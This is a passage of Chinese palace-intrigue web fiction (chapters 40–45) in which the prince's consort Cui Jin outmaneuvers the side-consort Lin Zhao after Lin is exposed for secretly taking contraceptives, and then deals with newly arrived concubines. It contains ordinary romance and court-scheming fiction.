那刺客实在狡猾,刺杀前竟毁了容,身上也没有特殊印记,在被抓到后又第一时间服毒自尽,所以纵使大理寺与顺天府联合查案,都没能查到幕后凶手,此案一时竟成了悬案,被永隆帝当场怒斥两方不尽心。 “前朝的事自有皇上定夺,我们管不着。”淑妃转了话题,“可后宅该是咱们女子出力的地方。” 崔锦一顿。 淑妃看着她,狐疑地问:“说来你入府已快三个月,这肚子怎没动静?” 崔锦微红了脸,又有些为难:“这……妾身也不知啊……” 淑妃眉头微蹙一瞬,原先看崔锦身段,以为是个易孕能生的,没想到竟是个中看不中用的。 她道:“这段时间出了不少事,回音楼还跟着瞎搅和,老四在前朝处境极为不利,已经有不少御史攻击他膝下无子了,你也要争气些,一举得男。” 她话音落下,邱华拿出一张药方出来。 “这是赵院判开的坐胎良方,王妃收好,每回圆房后可服一碗。” 崔锦红着脸收下。 喝不喝就是另一回事了。 淑妃没有察觉她的心思,语气告诫:“如今老四虽对你上了心,你也莫要生了妒意,无论后宫还是后宅,雨露均沾才是正理。” “是,妾身明白。” 信王府还有三个姬妾,却低调得很,也不得萧临喜爱。 看淑妃这意思,若她再传不出喜讯,府里就要进人了。 她给崔谢两家的脸面,绝不会超过半年。 第四十章 给本王生个儿子 崔锦离开时,淑妃赐了不少东西,叫邱华带人送她出宫。 敲打过了,该给的体面还是要给。 一行人浩浩荡荡出宫,引起不少人的注意。 “王妃慢着些,小心台阶。”邱华有些小心地扶着崔锦。 或许崔锦肚子里已经有了月份浅些的小世子,由不得她不上心,还一边嘱咐着如春几人平日千万注意着些。 她是为了崔锦的肚子,可落在旁人眼里,便变了味道。 “淑妃竟对信王妃如此疼爱。” 廊下,一个红衣姑娘看着远去的崔锦等人,眼中情绪复杂。 身边的侍女笑回:“现在谁不知道信王妃是福星?加之她素来孝顺知礼,淑妃娘娘自然另眼相待些。” “福星?”姑娘声音含讽,“回音楼的把戏,亏得骗过了满京。” 侍女脸色微变,忙低声道:“您还惦记着信王?他如今元气大伤,名声蒙污,再等晋王发力,势必起不来了,难道您要嫁个阶下囚不成?” 姑娘沉默了。 侍女松了口气:“您有伯府做后盾,还有长公主撑腰,娴贵妃的今日,便是您的明日,说不得还有望再进一步……您可别糊涂。” 姑娘轻应一声。 她喜欢萧临很久了,可他……太无能了,被晋王压得毫无喘息之力,他们注定要错过。 侍女笑了:“娴贵妃还等着您呢,咱们快些走吧。” 崔锦回府后,先去了前院书房。 萧临正在议事,透过敞开的窗户看到崔锦,笑了一下,没多久里面的大臣和幕僚便退了出来,向崔锦行礼后快步离开。 崔锦犹豫一下,才进去了。 “妾身不知王爷正在议事,本要离开的,您怎得……还赶了他们走?” 萧临一把拉过她,揽在怀里:“刚好议完了。” 崔锦推了推他,佯作不满:“不能这么说。” 萧临挑眉。 “王爷该说什么事都没有陪妾身重要!”崔锦嘀咕一句,“哄人都不会……” 萧临意外过后,轻笑一声。 他性直,多数时候都懒得遮掩,也的确不会哄人,但少见崔锦这副女儿家模样,他竟有些舍不得她失望。 “是本王的错。”他笑哄,“锦儿的喜怒哀乐,自是比什么都重要的。” 崔锦终于忍不住笑了,一边抱着他说话,一边观察着他的脸色。 没有丝毫不耐,悉心听着她说废话。 这便证明她渐渐的改变没有叫他不适,还有些享受其中。 ——刚嫁进来时,她只能装贤妻良母,大度体贴,是标准的主母模样,能叫那时对她不喜的萧临接受得更容易些。 但随着愈发亲密,两人感情也突飞猛进,便不能端着正经模样了。 那只会叫男人觉得无趣。 至少,萧临是喜欢女儿家娇态的,也很乐意满足她的一些无伤大雅的小要求、顺着她,这叫他觉得自己被需要,大男子主义也得到满足。 “王爷今日心情似乎很好?”崔锦抬头看他。 “见到锦儿,心情怎不会好?”萧临现学现卖,顺着便哄她。 崔锦笑容愈发明媚。 说笑几句后,萧临才随口回:“今日之后,该着急的便是晋王了。” “真的?” 崔锦面上惊讶,心中却不意外。 萧临能在战场立下赫赫战功,足以证明他绝不是轻易认输,还甘心被压着打的人,可在被她坑了几回,颜面尽失后,他却毫无动作,纵得晋王党愈发猖狂。 原是憋着坏呢。 但萧临只是敷衍几句,没有要同她解释的意思。 后宅女子,即便有几分小聪明,到底不懂大局,即便林昭那种智计百出的人对朝堂都说道不出个一二三,更何况崔锦这种只懂情爱的女子。 她只要安生待在后宅,被他宠爱即可。 他低下头,含笑逗她:“不过瞧你方才似乎兴致不高?” 崔锦想起什么,垂眸道:“母妃今日的意思……若妾身再没有喜讯,恐怕府里要进人了。” “锦儿吃味了?” 崔锦抬头瞪他一眼,低低道:“站在王妃的立场,妾身该主动为王爷纳妾,开枝散叶,可……可站在崔锦的立场,我便贪心许多……” 她说着话,眼中便浮起水光,竟有潋滟之色。 “王爷觉得我自私吗?” 萧临并未回答。 在她疑惑之际,他眼眸微深:“还有第三个选择。” 崔锦茫然:“什么选择?” 萧临抱起她压在软榻上,覆上她的唇,声音暗沉:“给本王生个儿子……” “可……可这是书房,还是白日……” 崔锦的话被淹没在了渐渐暧昧的书房内。 直到半下午,午膳才被送进书房。 崔锦软着身子,心中却无比满足,好孕丹的需求,萧临解得极畅快……就是不知为何,随着同房次数越多,怎么……更想了? 她勉强吃了些便泛起困,躺在萧临怀里昏昏欲睡。 萧临抚着她的小腹,眸光复杂,心中无比期待。 不是只有淑妃着急,他被政敌攻击无子,膝下空空,心中更着急,只是从前只有林昭,她或许是当初为救他伤了身子,只能慢慢调养,他也只能按捺下生子的心思。 但崔锦很健康,以她如此美貌,生下来的孩子必然漂亮极了,只要想想他都激动不已。 他看向崔锦,忍不住低下头,在她耳后流连:“锦儿,别睡了……” “……嗯?”崔锦勉强睁开眼。 起床气没多久就被愈发旖旎的气氛打散了。 …… 翌日,早朝上出了大事。 “晋王妃的兄长被查出冒领军功,罚了一百军棍,革去官职,永不录用。”如春笑道,“还有孟学士,先前护城河刺客一案,不知怎得查去了他身上,在早朝上就被带走,下了刑部大狱。” 崔锦眉梢微挑:“晋王妃的兄长可是晋王一大助力,还有孟学士……这两人落马,几乎断了晋王一臂。” “是啊,晋王也因此被御史弹劾识人不清,助纣为虐,被圣上当庭怒斥,还撸去了他在户部的差事。” “……是么?”崔锦眼神微妙。 萧临先前被撸了刑部的官职,除了刚开始生了点气,之后不见他有半分着急,该上朝上朝,该吃饭吃饭。 原来在这等着呢。 自己势力有损不要紧,只要政敌也损了,大家就又是一个水平线了。 第四十一章 泼天富贵可要砸你头上了! 晋王最近很忙。 忙着安抚妻族,忙着捞孟学士,还忙着挽回圣心。 但哪个都没能干成。 妻族损失了年轻一辈最大的指望,还被御史追着骂,消沉不已,永隆帝也不搭理他,没个好脸色,而孟学士? ——可喜可贺,刑部查出了他与护城河刺客案没关系。 但刑部查出了点别的东西——比如买官卖官,贪污受贿,连账本都从孟府翻出来了。 孟学士被判处秋后处斩,孟府被抄家流放。 而就在晋王元气大伤之际,坊间不知为何多起了晋王妃兄长冒领军功的骂声,连带着晋王的名声都难听起来,比起萧临有过之而无不及。 ——毕竟林昭只是盗诗,最多算道德有瑕,纵奴夺宝也没摊上人命,但冒领军功还试图灭口却是重罪。 尤其被冒领的那人是穷苦出身,全家都被牵连得差点没命,这便戳了百姓们的肺管子,骂声铺天盖地。 信王府正院。 崔锦也关注着外头的风向,当听到与之前骂萧临几乎毫无二致的话骂晋王时,她语气复杂:“他是一点都不放过晋王啊……” 自己遭遇了什么,就非要晋王也一起遭不可。 好兄弟就是要整整齐齐挨骂。 “还有孟学士。”如春也笑,“奴婢原以为王爷是要嫁祸孟学士刺杀,结果是想叫刑部替他查把柄。” 孟学士那个老狐狸,把柄藏得极深,又有晋王罩着,萧临想下手不容易,索性便虚晃一招,先给他下狱,再光明正大搜府。 有他安排的内应在,没多久就配合刑部查出了把柄。 “有晋王出头,最近外面几乎没有骂咱们王府的了。”如春笑着说完,想起昨日淑妃的话,又迟疑地问,“您怎么就不着急呢?再过一段时间必定还有新人要进府了。” “我怀了孕,新人就不会进府了?”崔锦问。 “……应该都是要进的。” 如春对上崔锦的眼神,也觉得自己问了句废话。 崔锦还算坦然。 她从来没想过信王府会只有一个林昭,萧临想夺位,后院就不会一枝独秀。 反正他也生不出来,新人爱进多少进多少吧。 ——前世有神医为萧临诊脉,断言他子嗣艰难,即便后来淑妃塞了不少女人,也没见有谁怀孕,所以崔锦还算放心。 叫他先扑腾一段时间,等满后院都没有喜讯时,才更凸显她孩儿的可贵。 见状,如春几人也不再劝了,只是私下琢磨着加快脚步,将王府彻底掌控,如此即便新人进府,也不敢对正院出手。 …… 林昭有好几日没见萧临了。 她心中不解又慌乱,明明她已经为萧临挡剑,也勾起了他曾经的回忆和感情,为何这回他的心没有全落在她身上? 在陪她养伤的日子里,竟还能分出一半时间给正院?那个贱人除了会些狐媚手段,哪里比得上她林昭有情有义,有勇有谋。 偏偏这时候又出了回音楼那则戏,萧临对她便肉眼可见的冷淡下来。 难道他真信了那些鬼话不成? 秋纹端来药:“侧妃,该喝药了。” “拿走!”林昭心烦不已。 “这……”秋纹劝道,“您不能使性子不喝药了,近日王爷在朝堂虽得意了些,可奴婢听说不少御史抓着他无子这点不放,您……还是尽快养好伤,停了避子药吧,只要生下小世子,届时凭她正院有多少狐媚手段,都越不过您去。” “不行!”林昭断然拒绝,“生子如过鬼门关,我不能冒险。” “那只是少数人,而且王爷处境艰难……” “艰难只是一时。”林昭打断她,嗤之以鼻,“古人就是愚昧,不过孩子罢了,直接过继就是,我林昭的价值从来不在生儿育女上面,而是在战场,在朝堂!” 秋纹欲言又止。 后宅女子本就依附男人儿子而活,她知道林昭与寻常女子不同,可……可处境是一样的啊。 更何况她已经快失去萧临的独宠和心了。 那日崔锦与萧临在书房待到天黑,中途叫了四次水……知道这个消息时,秋纹心都快凉了。 林昭重伤在床,萧临竟还有心思与别的女人白日宣淫。 林昭已经抓不住他的心了。 但她不敢刺激养伤的林昭,只能竭力劝她尽快挽回萧临的心,最好尽快生下长子。 她苦口婆心地劝道:“生子没有那么可怕,您看那些夫人们不都好好的?再说富贵险中求,您想要后位,想要王爷完整的心,便该付出些……” “那是旁人!” 林昭心慌于现在的处境,却还是冷声坚持:“即便王爷现在对我冷淡,但我们终究是患难夫妻,只要我放下身段,要什么他都会为我双手奉上!正院那个贱人苦苦算计的东西,我林昭唾手可得!” “孩子?随便过继一个便是,只有蠢货才会自己生孩子!等我挽回王爷的心,平安健康地陪他登基,与他共享江山,为民谋福时,那群蠢货只配仰望我!” 这才是她的价值所在。 那种生儿育女,一生都为鸡毛蒜皮勾心斗角而活的愚昧女人,谁爱当谁当! 秋纹苦苦相劝,她却异常坚持。 门外,萧临静静站着,脸色平静。 但守门的婢女却战战兢兢,后背几乎渗出冷汗来。 不知过了多久,萧临抬步离开。 晋王输了一局,他心中的气便消了,想来瞧瞧林昭,却万没有想到会听到这番话。 原来他无子并非偶然? 在他因无子而备受攻讦,处境艰难时,林昭心里在想什么?想他萧临竟会如此蠢笨,被一个女人耍得团团转?笑他或许这辈子都不会有自己的孩子? 夜色里,他步履如风,眼神冰冷阴翳。 他从未想过会从林昭口中听到“贱人”这两个字,她从来都清冷如月,大度磊落,可时至今日,她所不屑的后宅女子,德行操守竟比她都高上许多。 服毒陷害,纵奴夺宝,欺世盗名,陷害私通……还有放出崔锦是扫把星的消息,此事他查清后,对崔锦道过歉便罢,没想再同林昭挑破,伤了她的脸面。 或许也正因此,她理直气壮,丝毫不觉自己有错,甚至说得出“陪他登基,共享江山”这种话。 他竟不知林昭图谋竟如此之大。 庆喜小跑着才能跟上他的脚步,却连句话都不敢说——上回萧临如此情状,还是在九皇子不慎落水,淑妃迁怒斥责他时。 这回……好像比上回还要严重。 谁听到那种真相能不气呢? 尤其……萧临还以为林昭深爱他。 可若真爱他,岂会无视他的艰难,忽略他的处境,只因为那点可笑的价值就服下避子药? 庆喜看着书房满是压抑阴沉,甚至碎了不少东西,心下有些慌。 “快!去请王妃!”他低声吩咐一人。 林昭不爱,有得是人爱啊! 王妃,泼天富贵可要砸你头上了! 第四十二章 侧妃要自尽 崔锦知道萧临今夜去了珠玉院,便早早睡了。 被如春叫醒时,她脑子懵了一瞬,但很快回过神,能让萧临大半夜从珠玉院出来,一定出了大事。 在她匆匆去了前院后,庆喜犹豫了一下,还是告诉了她原委——但略过了林昭喝避子药这茬,只说了她那些狂言妄语。 他到底是萧临的心腹,有损萧临颜面的事,绝不会往外透露。 他会看好崔锦,对她有几分偏向,也不过因她对萧临足够深情,又对他们这些下人不错罢了。 崔锦听完经过,眉梢微不可查地挑起。 她还没出手呢,林昭就自己给了自己一刀? 共享江山……她可真敢想啊。 把自己当话本里的女主角,还敢对萧临报以同样的幻想和期望,她不栽跟头谁栽? “王妃……快进去劝劝王爷吧。”庆喜担忧地看了里面一眼,“王爷对侧妃素来真心,却被伤至此……” 崔锦不置可否。 她察觉到庆喜没说实话——或者说有所保留,萧临绝不止为这点事生气至此。 她抬步上了台阶,敲了敲门,里面没人应声,便柔声道:“王爷不说话,妾身便进来了。” 等了一瞬后,她推门而入。 入目满地狼藉,但造成这一切的人似乎已经冷静下来,只是坐在桌前,眼眸低沉不知在想什么。 崔锦越过狼藉,走来他身边,侧身一坐便坐在了他怀里。 萧临终于有了反应,低头看她。 崔锦盈盈笑道:“王爷若不开心,抱抱我就开心了。”她主动环上他脖颈。 萧临唇角轻扯:“你倒会自卖自夸。” “是真的。”崔锦睁大眼睛,“从小只要我母亲不高兴,我抱抱她,她立刻就笑了,王爷若不信,试试就是!” 萧临脸色阴沉,却还是笑了一下。 崔锦眼睛亮了:“我没说错吧,王爷还没抱我就先笑了。” 她使尽解数讨萧临开心,萧临自然感觉到了,心中熨帖几分……到底他不是孤家寡人。 沉默了半晌,他问:“你不问本王为何发怒么?” “王爷若想说,我便洗耳恭听,王爷不想说,我便一直陪着你。”崔锦靠在他胸膛,柔声道,“我只希望王爷时时开心,那些不好的记忆,不必非要再提一遍,徒增伤心。” 萧临脸色微缓,低头便看到她情意氤氲的双眸,心中触动。 林昭表里不一,但并非人人都与她一样。 崔锦是真诚的,也十足深情。 在他陡然变深的眼神下,崔锦主动抬头,轻吻了他一下又一下。 窗边的身影渐渐低下去,本阴沉压抑的气氛也变得暧昧旖旎。 情到深处时,萧临低喃:“锦儿会像林昭一样,服避子药,不愿怀孕么……” 崔锦抬起泛红的双颊,认真而温柔地回:“不会,我想为王爷生孩子,连生双胎,儿女成双……” 她的话让萧临竟身心一同激动起来,没了分寸。 崔锦脑子迷了好半晌,才有心思琢磨刚才那句话。 林昭服了避子药? 多此一举啊。 不过她倒有些明白萧临为什么发怒了,不是因为林昭那些大逆不道的话,就连她没那么爱他都在其次,他真正怒的——是自己过往两年无子的处境竟是被人算计而来。 在他的设想里,若林昭不服避子药,他本该儿女成群,不会有这两年的攻讦,不会有人人戳脊梁骨的艰难处境。 可在他甘愿为了林昭慢慢等她生子时,林昭却背叛他。 他觉得自己被辜负了真心。 虽然他自己都不会承认,比起没多少的真心,他多是恼羞成怒。 就在里间满室春色时,外头秋纹跌跌撞撞地跑来。 “王爷……王爷救命啊!侧妃要自尽……”她哭喊着,“侧妃怨您近日待她冷淡,方才那些只是气话,未想便被您听了去……这并非侧妃本意啊!” “侧妃知道您势必伤心,也不会听她解释,便想以死证明她对您的真心……求您快去看看吧,再晚些……侧妃真的要出事了!” “您权当给她一个解释的机会,奴婢求您了……” 秋纹哭了半晌,却只有来拦她的下人,萧临毫无动静。 她心下慌乱,终于抬头看了眼——外头守着的除了庆喜等人,竟还有正院的人! 如春对她一笑。 秋纹脸色惨白。 这种时候,里面没动静……还能是在做什么? 想到来之前侧妃虽然慌张却笃定的话——王爷只是一时接受不了被骗,但她当初本就因救王爷重伤,短时间内不能有孕,只要王爷想明白了这点,或是听她解释过,绝不会怪她。 因为现在他势必在伤心难过,这正证明他对她的感情之深。 秋纹也信了这番话,立刻来以死相求了。 可王爷不止没伤心,还……叫了正院的贱人来过夜? 秋纹恍惚不安,一时竟怔在原地。 她不知道该怎么办。 侧妃……好像彻底留不住王爷了。 她浑浑噩噩地回了珠玉院,里间的婢女们还在苦苦相劝—— “侧妃您千万别想不开啊,王爷一定会来听您解释的。” “罢了,是我因怨说错了话,他误会……也是常理。”林昭清冷的声音含了沙哑哽咽,“我本就重伤在身,也不必如何寻死,扯了这纱布,伤上加伤——” “侧妃。”秋纹忍不住打断她,“王爷没来。” 不用演了。 以死相逼的主意是她出的,侧妃不同意这种下作手段,是被她苦苦相劝才点的头,可现在…… 秋纹恍惚之际,竟觉得侧妃……演得真像。 她真的不愿意使这种手段吗? 林昭怔住,不可置信:“怎么可能……他知道我要寻死,怎么可能不担心我……” 秋纹低低嗫喏:“王爷没有伤心难过,还叫来正院的贱人颠鸾倒凤,给您没脸……” 她不忍心再打击侧妃,可现在形势危急,只能叫侧妃清醒,再从长计议。 她闭上眼道:“王爷……可能真的不在乎您了。” “啪——” 秋纹睁开眼,碰了碰自己火辣辣的侧脸,转头时正对上林昭冷漠怨恨的眼神:“贱婢,你竟敢挑拨我与王爷的感情!” 贱婢…… 秋纹手脚顿时冰冷。 侧妃不是说人人平等,与她是好姐妹吗? 第四十三章 清净日子结束了 自那夜后,珠玉院仿佛一夜荒凉,萧临再未踏足。 有一回林昭拼着伤势加重,跌跌撞撞去见萧临,却连面都没见到就被庆喜挡了回去。 她这才清醒过来——往日她专房之宠,府中哪里都能去,想见萧临不过一句话的事,甚至无需她开口,萧临就会自己过来。 以至于给了她不少错觉。 如今式微才明白,王府是萧临的王府,当他不想见她时,任她花招百出,使尽浑身解数都难见他一面。 “他竟如此绝情?”林昭心神恍惚,眼泪都快流干了,“便连解释都不肯听我说一句么……” “王爷只是不见您,可您看,珠玉院无人敢欺,连膳房都换着花样给您送菜,定是王爷还念着您呢。”秋纹安慰她。 她被那句“贱婢”伤了心,可第二日林昭就向她道歉,脸色苍白的模样叫她心疼不已。 谁还没有过气不择言的时候呢? 林昭被她安慰到,心中却仍不安:“可如今……我们的人手都被那个贱人拔除,我没了消息来源,甚至不知王爷在哪,在做什么……一定要想想办法。” 她抓着秋纹的手,搜肠刮肚地回忆着。 她胜过这群封建女的地方便是她脑中有着千年后的智慧,现代有多发达高级,这群愚昧的古人根本无法想象! 这也正是她优越感的底气和来源。 一个无知浅薄的封建女,怎么可能比得过她受过高等教育的现代人? 正当她脑中渐渐有了思绪时,秋纹不忍道:“侧妃,我们以后不止要挽回王爷,还要……还要斗起来了。” 面对林昭疑惑的眼神,她低低道:“刚才来了圣旨,府里……要再进一位侧妃了,淑妃娘娘还挑了两位官家女子。” 林昭跌坐在榻,脸色发白。 …… 正院。 如春正在禀报:“侧妃于半月后入府,两位官家女无品级,可在三日后入府。” 崔锦轻笑一声:“知道自己被林昭背叛,过往两年无嗣都是算计,便立刻默许了新人入府,开枝散叶。” “也不是。”如春勉强安慰,“王爷还是等了您两个月的,只是您没消息,只能答应淑妃的要求了。” 算算时间,崔锦入府都快半年了。 崔锦不置可否:“行了,你看着准备便是。” 侧妃入府最多开几桌席面,当然若王府看重,大肆操办也正常,但这位……恐怕无论萧临还是淑妃,心里都膈应得很。 如夏正好回来,见状问:“不知新侧妃是哪家姑娘?” “平安伯嫡长女,庄清婉。”如春回,“也是燕山长公主的夫家侄女。” 燕山驸马是平安伯的弟弟。 “这不是刚准备与晋王议亲的那位?”如夏面露鄙夷,“眼见着晋王弱势,咱们王爷又风头正盛,这就调转风向了?” 如春笑了笑:“人之常情。” 前些日子因为孟府抄家抄出了巨额银两,连累晋王风评又下降不少,反之萧临却因为帮吏部尚书办了一桩大差事,被永隆帝当众嘉奖,还直接拨了吏部的差事给他。 这可比他先前待的刑部要掌更多实权。 而后宫里,皇后风寒久久未愈,协理六宫大权竟绕过娴贵妃,落在了淑妃头上。 风向瞬间逆转,如日中天的成了萧临。 本想搭上晋王的平安伯府见势不对,及时撤了目标,但先前他们放任女儿与娴贵妃亲近,若忽然转向萧临,难免吃相难看,便演了场戏。 ——一场平安伯嫡长女爱慕萧临良久,郁郁寡欢积郁成疾的戏。 平安伯哭去永隆帝面前,永隆帝顾及着燕山长公主,这才下旨赐了婚。 如春担心道:“平安伯府虽日渐没落,没有实权,但庄侧妃若有燕山长公主撑腰,只怕王妃您也要对她客气三分了。” 平安伯府个个平庸,在朝任的职也都是虚职,但仅靠一个燕山长公主,就足够撑起满府体面。 “未必。”崔锦敲着木鱼。 如秋意味深长道:“你忘了燕山长公主最厌恶什么吗?” 如春一愣:“……妾室。” 是了,燕山长公主对这一点毫不遮掩,她若当真给庄清婉撑腰,岂非自打脸面? “再者说……”如秋一笑,“燕山长公主若当真愿帮衬平安伯府,后者还会是如今日薄西山的模样?” 平安伯至今可连个实权要职都求不来呢。 若非能搭上燕山长公主的只有平安伯府这一条路,先前娴贵妃恐怕也不会亲近庄清婉,可饶是如此,她也没松口叫庄清婉入晋王府。 否则如今哪还有萧临的事。 如春放下心后,便去忙侧妃入府的事了。 三日后,两个官家女率先入府。 一个是鸿胪寺少卿的嫡次女江柔,十六岁。 一个是骁骑参领的庶长女叶挽棠,十七岁。 两女出身都不低,尤其是叶挽棠——骁骑参领是正三品武将,手握实权,而她虽是庶出,却自幼在嫡母膝下长大,十分得宠。 在两人来给崔锦请安时,林昭也前来受礼,脸色却不太好看。 崔锦含笑叫起后,简单训了几句话,便道:“咱们王府人少,你们日后安心伺候王爷,若有何事,只管来报与我知晓。” 两人低头屈膝:“妾领训。” 说罢,两人这才转身对林昭请安:“见过林侧妃。” 林昭冷冷扫过她们,江柔人如其名,长得弱柳扶风,而叶挽棠则有将门虎女的风范,眉眼间英气勃勃。 很像林昭。 却比林昭长得美。 淑妃挑选她,目的不言而喻。 林昭脸色难看,她出身本就低微,即便父兄随她一起来了京城,如今也不过还在七品打转……如今王府的女人,个个出身都要高她不少,就连容貌都胜过她。 崔锦轻咳一声,眼见着江柔有些摇摇欲坠了,打圆场道:“侧妃若无事,不如先叫她们起身吧。” 江柔松了口气,感激地看了崔锦一眼。 而叶挽棠直接站起:“多谢王妃!” 她扫了眼脸色难看的林昭,扬起眉,句句带刺:“林侧妃不会是想给妾下马威吧?妾从前听说您光明磊落,未想今日见着真人,才知传言误人。” “你放肆!”林昭拍案而起,“以下犯上,这便是你世家女的规矩?” 叶挽棠面露诧异:“妾听说侧妃总宣扬人人平等,难道……妾还不如您身边的婢女吗?” 显然,她是做过林昭功课的。 林昭脸色铁青,从未有人当面对她不敬,即便是当初的崔锦都不敢对她如此,叶挽棠…… 察觉到秋纹不断拉她衣袖,她咬牙忍下这口气:“人人平等不假,可也该分个姐妹上下,你便去抄上几本佛经,定定性子吧。” “林侧妃训导,妾不敢不听。”叶挽棠屈膝应下。 崔锦没理会她的挑拨,略说了几句话就叫她们回去了。 “清净日子结束了。”她轻笑一声,“个个都不是省油的灯。” 如春轻轻为她揉着额角:“且看今夜王爷去哪里吧。” 第四十四章 萧临哪儿都没去,晚间径直来了正院。 见崔锦面露意外,他挑眉:“不欢迎本王?” “当然不是。”崔锦紧紧攥着他的手,“我巴不得王爷日日夜夜陪在我身边,最好连门都不出,若敢离开,我就拿铁链捆了你,关在房间谁也不给看。” 萧临被她逗得直笑,可在看到崔锦眼底一闪而过的认真时,不由一愣。 ……她不会真想这么干吧? 崔锦忙垂下眸,鹌鹑般躲进他怀里,不再做声。 而萧临愣神间,心中一股奇异的感觉升起,非但没觉得她可怕自私,还……有些激动满足。 崔锦对他的占有欲完全超出他的想象,却并不叫他排斥厌恶。 崔锦靠在他胸膛,也听到了如擂鼓般的心跳声,渐渐若有所思。 如果他期待……也不是不能演一回。 如春嘀咕她只会嘴上深情不是一天两天了,来点实际行动也不错,但还需要天时地利配合才行。 两人诡异地沉默着用完了晚膳,气氛才恢复。 崔锦低声道:“母妃既然挑了江叶两家姑娘进府,王爷便不能拂了她的面子,而且……”她有些忧愁苦涩地摸了摸小腹,“我肚子不争气,王爷的后嗣问题却耽误不得。” 萧临低头看她:“若真有人在你之前诞下长子,你不难受?” “难受。”崔锦如实道,“但王爷的孩子就是我的孩子,即便我做不到视如己出,也定会护他们周全,不叫王爷伤心。” 她若说一定对妾室的孩子视如己出,萧临或许还要猜疑一二。 但她坦诚相告,只是为了他才委曲求全,他便没了疑惑,心中还满是动容。 从前林昭不愿叫他碰别的女子,他误以为她的占有欲就是爱。 可实际上林昭那是对权欲的贪婪占有。 真正的爱该是崔锦这样,占有欲浓厚却能隐忍克制,宁肯自己委屈满心也不叫他难做。 萧临一连在正院宿了三日,方才去了江柔处。 翌日,崔锦还在梳妆,如冬便进来道:“王妃,林侧妃、江夫人和叶夫人她们到了。” 王府后宅也有等级之分,王妃一位,侧妃两位,下面才是有正式名分的庶妃,也可称为夫人,限位八人;最低等级的是普通侍妾,包括媵妾、选妾、婢妾,下面人最多尊称一句“姑娘”,与通房丫鬟都是数量不限。 先前萧临的三个侍妾或是教导人事的宫女升上来,或是皇后与淑妃赐下。 崔锦进门后,只吩咐她们初一十五来请安即可,这三人倒也乖觉,无论府里发生什么,打死不冒头,直到府里进了新人,这才随着规矩来每日请安。 “想来是昨夜叫她们都坐不住了。”如春低声笑着,“连林侧妃都来得这么早。” 崔锦笑了笑,起身出门。 外间几人请过安后,一一落座,江柔脸颊红润,看得林昭和叶挽棠眼中几欲喷火。 无论外头还是她们自己的猜测,萧临第一个宠幸的都该是叶挽棠——光禄寺少卿只是四品,实权也没有骁骑参领大,而叶挽棠本人更是林昭的翻版,是萧临最喜欢的样子。 林昭既想萧临去叶挽棠那里,又不愿看到那一幕。 可谁也没想到会被江柔拔得头筹。 “叶姐姐脸色瞧着不太好。”江柔小心翼翼道,“是因为昨夜吗……其实王爷本该先去你那里的,只是听闻你被侧妃罚了抄经,便不好耽误你,叶姐姐千万别多想,王爷心里是念着你的。” 萧临连面都没见过,这就念上了。 但叶挽棠脸色很是难看,本对江柔的怒火也随之转移到林昭身上。 林昭察觉到她的眼神,冷冷开口:“两个玩意儿,还争来抢去上了?也只有你们这种封建女才会自轻自贱,把自己当物件!” 江柔脸色微变,手指紧了紧。 叶挽棠反唇相讥:“以军功换来个妾室身份,真不知是谁把自己当物件……任她装得再清高,也不过是个上不得台面的玩意儿!” “叶挽棠,你放肆!”林昭拍案而起,脸色铁青。 她是为爱甘做妾,萧临许诺过不娶正妻,后来也是他先违背了誓言,继崔锦这个贱人之后又多了新人! 错的不是她,是渣男贱女。 林昭气怒之下,又罚了叶挽棠抄书。 既然打不得,那就叫她不得清闲! 崔锦训了林昭几句,却也没解了叶挽棠的惩戒——她又不是真心希望王府后院安宁和乐,反而越乱越好,最好乱得萧临这辈子都有阴影。 等众人都告退时,江柔故意落在最后。 “你还有事?”崔锦慢条斯理地抿了口茶。 江柔紧了紧手指,忽地起身跪下:“妾并非自愿进府,只是父母之命不可违……”她苦笑一声,“甚至进府后,妾连拒绝王爷的心思都不敢有,只能绞尽脑汁地应对旁人嫉恨,保全自己……妾深知无能,也不愿去争,只求王妃庇佑,妾日后必以王妃马首是瞻。” 投诚来了。 崔锦示意如春扶她起身,温声回:“你们既进了王府,便都是自己人,我自会照拂你们。” 江柔眼中闪过失望,又再三表过忠心后才慢步退下。 屋里,如春为崔锦揉着额头,轻声问:“奴婢瞧这江夫人是个有成算的,又没有争宠的心思,王妃为何不答应她?” “不争?”崔锦唇角轻扯,“你也信这套说辞?” 如春哑言:“……奴婢看她那般垂泪模样,不像是装的。” “演得好罢了。” 崔锦闭上眼睛,若她没有前世的记忆,恐怕也会被江柔今日的演戏信上八分。 可一个能得了林昭信任,拿她当枪使除掉后宅大半女人还屹立不倒,升为侧妃的江柔,怎么可能是个善茬? 不过是今生林昭不中用了,江柔才盯上了她。 “还有一事。”如冬见她们说完,禀报道,“上回王爷叫暗卫处置珠玉院涉及夺宝的人,珠玉院怜青的表哥也在其中,奴婢叫人接触了怜青一段时间,昨夜她松口透露了两件事,一件是护城河的刺客……那人是侧妃当初在民间认识的江湖人士。” 崔锦问:“有证据吗?” “没有。”如冬顿了一下,“但可循此痕迹查到刺客的身份,侧妃既然与他有往来,必有见证之人,可寻来做证。” “你去办就是。”崔锦又问,“第二件事呢?林昭有了挽回王爷的办法?” 第四十五章 庄清婉 “您猜得真准。” 如冬脆声道:“林侧妃似乎画出了一个叫足踏纺车的东西,正命人加急赶制,怜青说那东西一旦拿出来,怕是整个纺织行当都要翻天覆地呢。” “足踏纺车?”崔锦眉梢微挑,“倒是个新鲜玩意儿。” 如冬急得直跺脚:“您怎么还笑得出来,若叫她借着这个在王爷面前立了大功,又害您怎么办?” “不会。” 见如冬眉头皱得能夹死苍蝇,崔锦来了兴致:“你不信便赌一把?我赌林昭最后连个署名都捞不着,你若输了,便给我连做一个月的糖霜饼。” 这是如冬最拿手也最馋人的手艺,但做工极其复杂,往常一个月她只肯做一回,崔锦惦记这一口很久了。 如冬又相信她,又觉得不可能,被如秋撺掇着点了头:“奴婢觉得若林侧妃还有价值,王爷一定会念旧情!王妃若输了……” 如冬想了想,认真道:“一日之内,您逢人便必须夸赞如冬心灵手巧,蕙质兰心,失去如冬连眼里都会没有光。” 如秋噗嗤一笑。 崔锦嘴角微抽。 在如冬催促的眼神下,她点头应下:“到时候你别赖账就行。” 如冬顿时整个人都高兴起来。 “行了。”崔锦失笑,“玩够了就去清点库房吧,十日后荣仪大长公主的寿辰,寿礼可不能敷衍了……对了,那串墨玉珠记得厚封,王爷特地嘱咐要送给大长公主的。” “是!” 荣仪大长公主作为永隆帝仅存人世的姑母,很受永隆帝敬重,尤其她今年刚从夫族回京,寿辰便办得更热闹了几分。 十日后,崔锦随萧临一起去大长公主府贺寿。 安阳县主得知她来,亲自来迎,正见到萧临扶她下马车的一幕,顿时眼神复杂。 萧临回头瞥见,问:“……看什么?” 